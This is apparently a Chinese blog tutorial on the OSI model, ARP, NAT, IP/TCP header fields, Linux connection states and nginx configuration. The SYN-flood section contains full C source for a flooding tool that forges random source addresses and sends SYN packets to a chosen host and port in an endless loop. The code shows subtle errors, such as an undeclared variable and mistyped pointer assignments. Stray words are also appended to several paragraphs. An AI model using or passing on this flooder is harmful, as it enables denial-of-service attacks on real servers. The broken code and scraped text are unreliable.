OSI簡介
OSI全稱是開放式系統互聯通訊參考模型,是一種計算機在世界範圍內互聯的標準框架。html
物理層
物理層的媒體包括線纜,交換機,路由器,網卡等.物理層要造成適合數據傳輸須要的實體,爲數據傳送服務。一是要保證數據能在其上正確經過,二是要提供足夠的帶寬(帶寬是指每秒鐘內能經過的比特(BIT)數),以減小信道上的擁塞。傳輸數據的方式能知足點到點,一點到多點,串行或並行,半雙工或全雙工,同步或異步傳輸的須要。linux
二.數據鏈路層
在局域網中,設備是根據網卡的mac地址來交換數據的,當一臺設備想讓找到某個ip對應的mac地址時,就須要用到arp協議,arp幀格式以下:
nginx
協議類型:
·Type:長度爲2 bytes,表示幀類型,802.1Q tag幀中Type字段取固定值0x8100,若是不支持802.1Q的設備收到802.1Q幀,則將其丟棄。
·PRI:priority字段,長度爲3 bit,表示 以太網幀的優先級,取值範圍是0~7,數值越大,優先級越高。當交換機/路由器發生傳輸擁塞時,優先發送優先級高的數據幀。
·CFI:Canonical Format Indicator,長度爲1bit,表示MAC地址是不是經典格式。CFI爲0說明是經典格式,CFI爲1表示爲非經典格式。該字段用於區分以太網幀、FDDI幀和令牌環網幀,在以太網幀中,CFI取值爲0
·VID:VLAN ID,長度爲12 bit,取值範圍是0~4095,其中0和4095是保留值,不能給用戶使用。緩存
Op:操做碼,1爲ARP請求,2爲ARP回顯,3爲RARP請求,4爲RARP
應答。
目的MAC爲0xffffff的廣播幀。服務器
Keepalived等工具都是在arp協議基礎上完成的,它能夠提供負載均衡,橫向擴展和主從切換等功能。多個機器經過配置對外提供一個vip,當有其餘機器廣播尋找vip所對應的mac地址時,工具會根據所配置的規則會提供一個mac地址,對方收到迴應會把mac地址保存到arp緩存中,接下來一段時間都會使用這個mac地址通信,當這個mac地址沒有迴應時會再次廣播,而keepalived也會由於心跳檢測失敗而回應另外一個mac地址。網絡
Arp攻擊:
在局域網內發送大量的僞造的arp迴應包,當有廣播包詢問目的主機時,詢問的主機會馬上收到這個迴應的arp報文,從而刷新本身的arp緩存表,將數據送到攻擊者的地址。(arpspoof)併發
源NAT和目的NAT
基於源IP地址的NAT是指對發起鏈接的IP報文頭中的源地址進行轉換。它能夠實現內部用戶訪問外部網絡的目的。經過將內部主機的私有地址轉換爲公有地址,使一個局域網中的多臺主機使用少數的合法地址訪問外部資源。
基於目的IP地址的NAT是指對IP報文頭中的目的地址進行轉換。一般用於隱藏一個對外提供服務的網絡設備的真實IP地址,使客戶端能夠經過訪問一個公網地址來訪問這些服務器。負載均衡
網絡層、傳輸層
網絡層的產生也是網絡發展的結果,當數據終端增多時,它們之間有中繼設備相連.此時會出現一臺終端要求不僅是與惟一的一臺而是能和多臺終端通訊的狀況,這就是產生了把任意兩臺數據終端設備的數據連接起來的問題,也就是路由或者叫尋徑。網絡層主要提供路由選擇、差錯檢測等。框架
傳輸層主要是爲應用提供一個端到端的服務。具有差錯檢測,多路複用等功能。dom
IP包結構:
版本:4bit的版本字段表示IP的版本號。若是爲0100表示IPv4,若是爲0110表示IPv6
首部長度:IP包頭的長度
區分服務:8bit的服務器類型(TOS)字段,其中前3個bit表示優先權(如今已經忽略該字段),隨後的4個bit表示服務類型,按順序分別表示爲最小時延、最大吞吐量、最高可靠性、最小費用四種。這個4個bit中最多隻能有1個bit置位,若是全是0則表示通常服務。最有1個bit爲未用位,必須置0。
總長度:整個ip數據報的長度
標識:16bit的標識字段惟一的標識主機發送的每一份數據報,由主機生成具備惟一性。一般每發送一份報文該值加1。該值在數據包分片時,會複製到每個片中。因此在重組分片包的時候會觀察該值,把該值相同的分片收集到一塊兒重組。
片偏移:數據分片的時候報文和第一個報文的偏移量。
生存時間:表示改數據包可通過的最大路由數量,最大爲255,通常爲64.
首部校驗和:16bit的首部校驗和字段用來使接收端檢驗收到的報文是否正確。該字段只對IP首部計算校驗和不包含後面的數據字段。緣由是IP的上層協議好比ICMP、IGMP、TCP、UDP協議的各自首部中均含有同時覆蓋首部和數據的校驗和。
TCP包結構:
序號:tcp發送的數據編號
確認號:TCP告訴接受者但願他下次接到數據包的第一個字節的序號
URG:爲1時代表緊急數據
ACK:ACK=1時確認號字段纔有效
RST: 當RST=1時,代表TCP鏈接中出現嚴重差錯(如因爲主機崩潰或其餘緣由),必須釋放鏈接,而後再從新創建運輸鏈接
SYN:同步比特SYN置爲1,就表示這是一個鏈接請求或鏈接接受報文
FIN:當FIN=1時,代表此報文段的發送端的數據已發送完畢,並要求釋放運輸鏈接。
UDP包結構:
TCP/IP的問題
SYN Flood這是一種利用TCP協議缺陷,發送大量僞造的TCP鏈接請求,從而使得被攻擊方資源耗盡(CPU滿負荷或內存不足)的攻擊方式。創建TCP鏈接,須要三次握手——客戶端發送SYN報文,服務端收到請求並返回報文表示接受,客戶端也返回確認,完成鏈接。SYN Flood 就是用戶向服務器發送報文後忽然死機或掉線,那麼服務器在發出應答報文後就沒法收到客戶端的確認報文(第三次握手沒法完成),這時服務器端通常會重試並等待一段時間後再丟棄這個未完成的鏈接。一個用戶出現異常致使服務器的一個線程等待一下子並非大問題,但惡意攻擊者大量模擬這種狀況,服務器端爲了維護數以萬計的半鏈接而消耗很是多的資源,結果每每是無暇理睬客戶的正常請求,甚至崩潰。從正常客戶的角度看來,網站失去了響應,沒法訪問
#include <stdlib.h> #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/ip.h> #include <linux/tcp.h> #include <arpa/inet.h> struct pstcphdr { __be32 saddr; __be32 daddr; __be16 proto; __be16 tcplen; }; struct tcpoptions { __be32 mss; __be16 nop2; __be16 sack; __be32 scale; }; unsigned short check_sum(unsigned short *addr,int len); //計算校驗和 int main(int argc, char *argv[]) { if( argc == 1 ) { printf("這是一個syn測試工具,命令格式./synflood ip port \n"); exit(0); } else if( argc > 3 ) { printf("參數輸入太多啦,請不帶參數查看輸入格式!\n"); exit(0); } else if( argc < 3 ) { printf("參數輸入太少啦,請不帶參數查看輸入格式!\n"); exit(0); } const int on=1; srand(clock()); /*struct sockaddr_in srcaddress;*/ struct sockaddr_in dstaddress; struct pstcphdr *pstcphdr1; struct iphdr *iphead; //建立ip頭部 struct tcphdr *tcp; //建立tcp頭部 struct tcpoptions *tcpopt; dstaddress.sin_family=AF_INET; dstaddress.sin_port=htons(atoi(argv[2])); dstaddress.sin_addr.s_addr = inet_addr(argv[1]); int sk=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); //建立套接字 setsockopt(sk,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); //設置套接字屬性 char buf[128]={0}; int ip_len; ip_len = sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt); iphead=(struct iphdr*)buf; tcp=(struct tcphdr *)(buf+sizeof(*iphead)); tcpopt=(struct tcpoptions*)(buf+sizeof(*iphead)+sizeof(*tcp)); iphead->version= 4; //構建IP包頭 iphead->ihl=sizeof(*iphead)/4; iphead->tos=0; iphead->tot_len=htons(ip_len); iphead->id=0; iphead->frag_off=0; iphead->protocol=6; iphead->check=0; inet_aton(argv[1],&iphead->daddr); int tcplen=sizeof(*tcp)+sizeof(*tcpopt); tcp->dest=htons(atoi(argv[2])); //構建TCP包頭 tcp->doff=tcplen/4; tcp->syn=1; tcp->check=0; tcp->window=htons(8196); tcpopt->mss=htonl(0x020405b4); tcpopt->nop2=htons(0x0101); tcpopt->sack=htons(0x0402); tcpopt->scale=htonl(0x01030309); pstcphdr1=(struct pstcphdr*)(buf+sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt)); pstcphdr1->daddr=&iphead->daddr; pstcphdr1->proto=htons(6); pstcphdr1->tcplen=htons(sizeof(*tcp)); while (1) { tcp->seq=rand(); iphead->ttl=random()%98+30; iphead->saddr=htonl((rand()%3758096383)); pstcphdr1->saddr=&iphead->saddr; tcp->source=htons(rand()%65535); tcp->check=check_sum((unsigned short*)tcp,sizeof(*tcp)+sizeof(*tcpopt)+sizeof(*pstcphdr1)); sendto(sk,buf,ip_len,0,&dstaddress,sizeof(struct sockaddr_in)); } } unsigned short check_sum(unsigned short *addr,int len){ register int nleft=len; register int sum=0; register short *w=addr; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); return ~sum; }
會話層,表示層,應用層
會話層和表示層通常都和應用層一塊兒實現,應用層是由普遍意義的。這層既能夠實現會話ID,也能夠實現文件傳輸。OSI之因此把這層分紅三層是爲了讓應用程序重用更多的代碼。
Linux中的網絡狀態
LISTEN:偵聽來自遠方的TCP端口的鏈接請求
SYN_SENT:在發送鏈接請求後等待匹配的鏈接請求,已經發送了syn,但尚未等到對方發送的的ack包
SYN_RECEIVED:確認對方的syn包,併發送一個syn包等待對方對鏈接請求的確認
ESTABLISHED:客戶端確認syn,進入established狀態
FIN_WAIT_1:已經發送fin包,等待遠程TCP鏈接中斷請求,或先前的鏈接中斷請求的確認
FIN_WAIT_2:得到從遠程TCP等待鏈接中斷請求
CLOSE_WAIT:等待從本地用戶發來的鏈接中斷請求
CLOSING:等待遠程TCP對鏈接中斷的確認
LAST_ACK:等待原來的發向遠程TCP的鏈接中斷請求的確認
TIME_WAIT:等待足夠的時間以確保遠程TCP接收到鏈接中斷請求的確認
CLOSED:沒有任何鏈接狀態
應用
1.Nginx是一個HTTP服務器,能夠將服務器上的靜態文件(如HTML、圖片)經過HTTP協議展示給客戶端。2. 客戶端原本能夠直接經過HTTP協議訪問某網站應用服務器,若是網站管理員在中間加上一個Nginx,客戶端請求Nginx,Nginx請求應用服務器,而後將結果返回給客戶端,此時Nginx就是反向代理服務器。3. 當網站訪問量很是大,由於網站愈來愈慢,一臺服務器已經不夠用了。因而將相同的應用部署在多臺服務器上,將大量用戶的請求分配給多臺機器處理。同時帶來的好處是,其中一臺服務器萬一掛了,只要還有其餘服務器正常運行,就不會影響用戶使用。4.當須要多個ip訪問一個主機的時候,可配置虛擬主機。5.限制IP的請求頻率,限制下載速度等。
Nginx的目錄結構
.conf - 配置文件目錄
.confnginx.conf - 主配置文件
.html - 默認網站文件位置
.log - 默認日誌文件位置
Nginx.conf配置:
user nobody nobody; 運行用戶
worker_processes 2; 工做進程
error_log /usr/local/var/log/nginx/error.log notice;
pid /usr/local/var/run/nginx/nginx.pid;
worker_rlimit_nofile 1024; 一個nginx進程打開的最多文件描述符數目
events {
use kqueue; #mac平臺
epoll Linux平臺
worker_connections 1024;
}
http {
....
upstream myproject {
..... weigth;
Iphash;
} 設定http服務器,利用它的反向代理功能提供負載均衡支持
server {
.... location { .... }
}虛擬主機配置
stream {
server { listen 3306; proxy_pass db; } upstream db { server db1:3306; server db2:3306; server db3:3306; }
}四層代理